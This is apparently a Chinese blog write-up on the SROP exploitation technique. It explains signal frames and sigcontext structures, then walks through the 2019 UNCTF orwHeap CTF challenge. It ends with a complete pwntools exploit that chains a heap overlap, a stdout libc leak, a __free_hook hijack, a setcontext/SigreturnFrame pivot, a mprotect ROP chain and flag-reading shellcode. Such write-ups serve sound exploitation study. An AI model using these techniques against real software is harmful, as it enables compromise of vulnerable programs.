SROP

簡介

SROP的全稱是Sigreturn Oriented Programming,這是ROP攻擊方法中的一種,其中sigreturn是一個系統調用,在類unix系統發生signal的時候會被間接地調用;在傳統的ROP攻擊中我們需要尋找大量的gadgets來對寄存器進行賦值已達到我們的需求,而SROP可以減少我們尋找gadgets的難度…

前置知識

signal 機制

我們都知道在Linux中,系統被分爲了用戶態和內核態,通常情況下用戶態和內核態是相互隔離開的,而signal機制是類unix系統中進程之間相互傳遞信息的一種方法,常見的信號機制常見的步驟如下圖所示:
signal

  1. 內核向某個進程發送signal機制,該進程會被暫時掛起,進入內核態;
  2. 內核會爲該進程保存相應的上下文,主要是將所有寄存器壓入棧中,以及壓入signal信息,以及指向sigreturn的系統調用地址;此時棧的結構如下圖所示,我們稱ucontext以及siginfo這一段爲Signal Frame.需要注意的是,這一部分是在用戶進程的地址空間的;之後會跳轉到註冊過的signal handler中處理相應的signal.因此,當signal handler執行完之後,就會執行sigreturn代碼.
    (此段引用ctf-wiki)
    2
    簡單的來說就是當一個用戶層進程發起signal時,控制權就會切到內核層,然後內核保存進程的上下文,即各個寄存器的值到用戶的棧上,然後再把rt_sigreturn的地址壓棧,跳到用戶層執行Signal Handler,即調用rt_sigreturn;當rt_sigreturn執行完了之後就會跳到內核層,進行內核的操作了;最後內核恢復2中保存的進程上下文,控制權再次交還到用戶層進程…

sigcontext結構體

64位:

struct _fpstate
{
  /* FPU environment matching the 64-bit FXSAVE layout.  */
  __uint16_t        cwd;
  __uint16_t        swd;
  __uint16_t        ftw;
  __uint16_t        fop;
  __uint64_t        rip;
  __uint64_t        rdp;
  __uint32_t        mxcsr;
  __uint32_t        mxcr_mask;
  struct _fpxreg    _st[8];
  struct _xmmreg    _xmm[16];
  __uint32_t        padding[24];
};

struct sigcontext
{
  __uint64_t r8;
  __uint64_t r9;
  __uint64_t r10;
  __uint64_t r11;
  __uint64_t r12;
  __uint64_t r13;
  __uint64_t r14;
  __uint64_t r15;
  __uint64_t rdi;
  __uint64_t rsi;
  __uint64_t rbp;
  __uint64_t rbx;
  __uint64_t rdx;
  __uint64_t rax;
  __uint64_t rcx;
  __uint64_t rsp;
  __uint64_t rip;
  __uint64_t eflags;
  unsigned short cs;
  unsigned short gs;
  unsigned short fs;
  unsigned short __pad0;
  __uint64_t err;
  __uint64_t trapno;
  __uint64_t oldmask;
  __uint64_t cr2;
  __extension__ union
    {
      struct _fpstate * fpstate;
      __uint64_t __fpstate_word;
    };
  __uint64_t __reserved1 [8];
};

32位:

struct sigcontext
{
  unsigned short gs, __gsh;
  unsigned short fs, __fsh;
  unsigned short es, __esh;
  unsigned short ds, __dsh;
  unsigned long edi;
  unsigned long esi;
  unsigned long ebp;
  unsigned long esp;
  unsigned long ebx;
  unsigned long edx;
  unsigned long ecx;
  unsigned long eax;
  unsigned long trapno;
  unsigned long err;
  unsigned long eip;
  unsigned short cs, __csh;
  unsigned long eflags;
  unsigned long esp_at_signal;
  unsigned short ss, __ssh;
  struct _fpstate * fpstate;
  unsigned long oldmask;
  unsigned long cr2;
};

可以看到這裏面保存有很多的寄存器,signal handler返回後,內核爲執行 sigreturn 系統調用,爲該進程恢復之前保存的上下文,其中包括將所有壓入的寄存器,重新pop回對應的寄存器,最後恢復進程的執行…
需要注意的是32位的sigreturn的調用號爲77,64位的系統調用號爲15…

攻擊原理

因爲Signal Frame保存在用戶的地址空間中,所以用戶是可以讀寫的;利用rt_sigreturn恢復ucontext_t的機制,我們可以構造一個假的ucontext_t,這樣我們就能控制所有的寄存器…
不過在結構體的構建時,我們可以用pwntools裏面有現成的庫函數:
用法可以這樣:

# 指定機器的運行模式
context.arch = "amd64"
# 設置寄存器
sigframe = SigreturnFrame()
sigframe.rax = 0x1
sigframe.rdi = 0x2
sigframe.rsi = 0x3
sigframe.rdx = 0x4

但是這個SROP並不是單純只用在一個棧溢出漏洞中,通常我們會結合有些其他的漏洞來使用,因爲比較難構造…

實例

這裏我以2019UNCTForwHeap這道題目來簡單感受一下SROP的威力:
首先,我們先運行查看這個程序的功能:
start
我們發現是常規的堆分配,編輯和刪除,但是沒有輸出…
檢查開了哪些保護:
check
然後我們打開ida來分析:
ida1
這裏明顯有溢出了…
所以這裏我們可以利用這個漏洞來修改堆的size使得堆其重疊,然後控制堆;
但是因爲這裏我們沒有show功能來泄露地址,所以我們要想辦法利用stdout函數來泄露地址;
我們需要在堆上面留下main_arena的地址,利用重疊的堆來修改這個地址,讓其分配到stdout的位置,因爲stdout的地址和main_arena離的很近,所以我們只需要爆破一個字節的地址就可以成功;
之後我們獲得了地址了就可以利用fastbin attack劫持__free_hook,利用setcontex來進行SROP然後ROP讀出flag了;
這裏要說一下setcontext函數;

int setcontext(const ucontext_t *ucp);

這個函數的作用主要是用戶上下文的獲取和設置,可以利用這個函數直接控制大部分寄存器和執行流:

pwndbg> x/80i 0x7ffff7a7bb50
   0x7ffff7a7bb50 <setcontext>:	push   rdi
   0x7ffff7a7bb51 <setcontext+1>:	lea    rsi,[rdi+0x128]
   0x7ffff7a7bb58 <setcontext+8>:	xor    edx,edx
   0x7ffff7a7bb5a <setcontext+10>:	mov    edi,0x2
   0x7ffff7a7bb5f <setcontext+15>:	mov    r10d,0x8
   0x7ffff7a7bb65 <setcontext+21>:	mov    eax,0xe
   0x7ffff7a7bb6a <setcontext+26>:	syscall 
   0x7ffff7a7bb6c <setcontext+28>:	pop    rdi
   0x7ffff7a7bb6d <setcontext+29>:	cmp    rax,0xfffffffffffff001
   0x7ffff7a7bb73 <setcontext+35>:	jae    0x7ffff7a7bbd0 <setcontext+128>
   0x7ffff7a7bb75 <setcontext+37>:	mov    rcx,QWORD PTR [rdi+0xe0]
   0x7ffff7a7bb7c <setcontext+44>:	fldenv [rcx]
   0x7ffff7a7bb7e <setcontext+46>:	ldmxcsr DWORD PTR [rdi+0x1c0]
   0x7ffff7a7bb85 <setcontext+53>:	mov    rsp,QWORD PTR [rdi+0xa0]
   0x7ffff7a7bb8c <setcontext+60>:	mov    rbx,QWORD PTR [rdi+0x80]
   0x7ffff7a7bb93 <setcontext+67>:	mov    rbp,QWORD PTR [rdi+0x78]
   0x7ffff7a7bb97 <setcontext+71>:	mov    r12,QWORD PTR [rdi+0x48]
   0x7ffff7a7bb9b <setcontext+75>:	mov    r13,QWORD PTR [rdi+0x50]
   0x7ffff7a7bb9f <setcontext+79>:	mov    r14,QWORD PTR [rdi+0x58]
   0x7ffff7a7bba3 <setcontext+83>:	mov    r15,QWORD PTR [rdi+0x60]
   0x7ffff7a7bba7 <setcontext+87>:	mov    rcx,QWORD PTR [rdi+0xa8]
   0x7ffff7a7bbae <setcontext+94>:	push   rcx
   0x7ffff7a7bbaf <setcontext+95>:	mov    rsi,QWORD PTR [rdi+0x70]
   0x7ffff7a7bbb3 <setcontext+99>:	mov    rdx,QWORD PTR [rdi+0x88]
   0x7ffff7a7bbba <setcontext+106>:	mov    rcx,QWORD PTR [rdi+0x98]
   0x7ffff7a7bbc1 <setcontext+113>:	mov    r8,QWORD PTR [rdi+0x28]
   0x7ffff7a7bbc5 <setcontext+117>:	mov    r9,QWORD PTR [rdi+0x30]
   0x7ffff7a7bbc9 <setcontext+121>:	mov    rdi,QWORD PTR [rdi+0x68]
   0x7ffff7a7bbcd <setcontext+125>:	xor    eax,eax
   0x7ffff7a7bbcf <setcontext+127>:	ret    
   0x7ffff7a7bbd0 <setcontext+128>:	mov    rcx,QWORD PTR [rip+0x3572a1]        # 0x7ffff7dd2e78
   0x7ffff7a7bbd7 <setcontext+135>:	neg    eax
   0x7ffff7a7bbd9 <setcontext+137>:	mov    DWORD PTR fs:[rcx],eax
   0x7ffff7a7bbdc <setcontext+140>:	or     rax,0xffffffffffffffff
   0x7ffff7a7bbe0 <setcontext+144>:	ret    

一般是從setcontext+53開始用的,不然程序容易崩潰,主要是爲了避開fldenv [rcx]這個指令…
一般用來利用call mprotect-> jmp shellcode

0x7ffff7b1e4d0 <mprotect>:	mov    eax,0xa
   0x7ffff7b1e4d5 <mprotect+5>:	syscall 
   0x7ffff7b1e4d7 <mprotect+7>:	cmp    rax,0xfffffffffffff001
   0x7ffff7b1e4dd <mprotect+13>:	jae    0x7ffff7b1e4e0 <mprotect+16>
   0x7ffff7b1e4df <mprotect+15>:	ret    
   0x7ffff7b1e4e0 <mprotect+16>:	mov    rcx,QWORD PTR [rip+0x2b4991]        # 0x7ffff7dd2e78
   0x7ffff7b1e4e7 <mprotect+23>:	neg    eax
   0x7ffff7b1e4e9 <mprotect+25>:	mov    DWORD PTR fs:[rcx],eax
   0x7ffff7b1e4ec <mprotect+28>:	or     rax,0xffffffffffffffff
   0x7ffff7b1e4f0 <mprotect+32>:	ret    

最終的exp如下:

EXP

# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal

context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.arch = 'amd64'

name = './pwn'
p = process(name)
# p = remote('101.71.29.5', 10005)
elf = ELF(name)
# libc = ELF('./libc-2.27.so')
libc = ELF('./x64_libc-2.23.so.6')

if args.G:
    gdb.attach(p)
    
def add(size, content):
    p.sendlineafter('Your Choice: ', '1')
    p.sendlineafter(': ', str(size))
    p.sendafter(': ' , content)

def delete(index):
    p.sendlineafter('Your Choice: ', '2')
    p.sendlineafter(': ', str(index))

def edit(index, content):
    p.sendlineafter('Your Choice: ', '3')
    p.sendlineafter(': ', str(index))
    p.sendafter(': ' , content)

add(0x68, '\n')
add(0x78, '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')


delete(0)
add(0x68, 'a' * 0x60 + p64(0) + p8(0xf1))
delete(1)
delete(2)
add(0x78, '\n')

delete(0)
add(0x68, 'a' * 0x60 + p64(0) + p8(0xa1))
delete(1)
add(0x98, '\n')
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p16(0x25dd))  # 0x25dd需要爆破

add(0x68, '\n')
add(0x68, 'c' * 0x33 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + '\n')
p.recvn(0x88)
libc_addr = u64(p.recvn(8)) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

edit(1, 'b' * 0x70 + p64(0) + p64(0x91))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x91) + p64(0) + p64(libc_addr + libc.symbols['__free_hook'] - 0x20))
add(0x88, '\n')

edit(1, 'b' * 0x70 + p64(0) + p64(0x71))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p64(libc_addr + libc.symbols['__free_hook'] - 0x13))

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000 
frame.rip = libc_addr + 0x00000000000bc375 #: syscall; ret; 
payload = str(frame)
add(0x68, payload[0x80:0x80 + 0x60] + '\n')
add(0x68, 'fff' + p64(libc_addr + libc.symbols['setcontext'] + 53) + '\n')

edit(1, payload[:0x98])
delete(1)

layout = [
    libc_addr + 0x0000000000021102, #: pop rdi; ret; 
    (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000,
    libc_addr + 0x00000000000202e8, #: pop rsi; ret; 
    0x2000,
    libc_addr + 0x0000000000001b92, #: pop rdx; ret; 
    7,
    libc_addr + 0x0000000000033544, #: pop rax; ret; 
    10,
    libc_addr + 0x00000000000bc375, #: syscall; ret; 
    libc_addr + 0x0000000000002a71, #: jmp rsp; 
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js failed

mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall

mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall

jmp exit

failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall

exit:
xor edi, edi
mov eax, 231
syscall
''')
p.send(flat(layout) + shellcode)
p.interactive()
發佈了58 篇原創文章 · 獲贊 20 · 訪問量 3萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章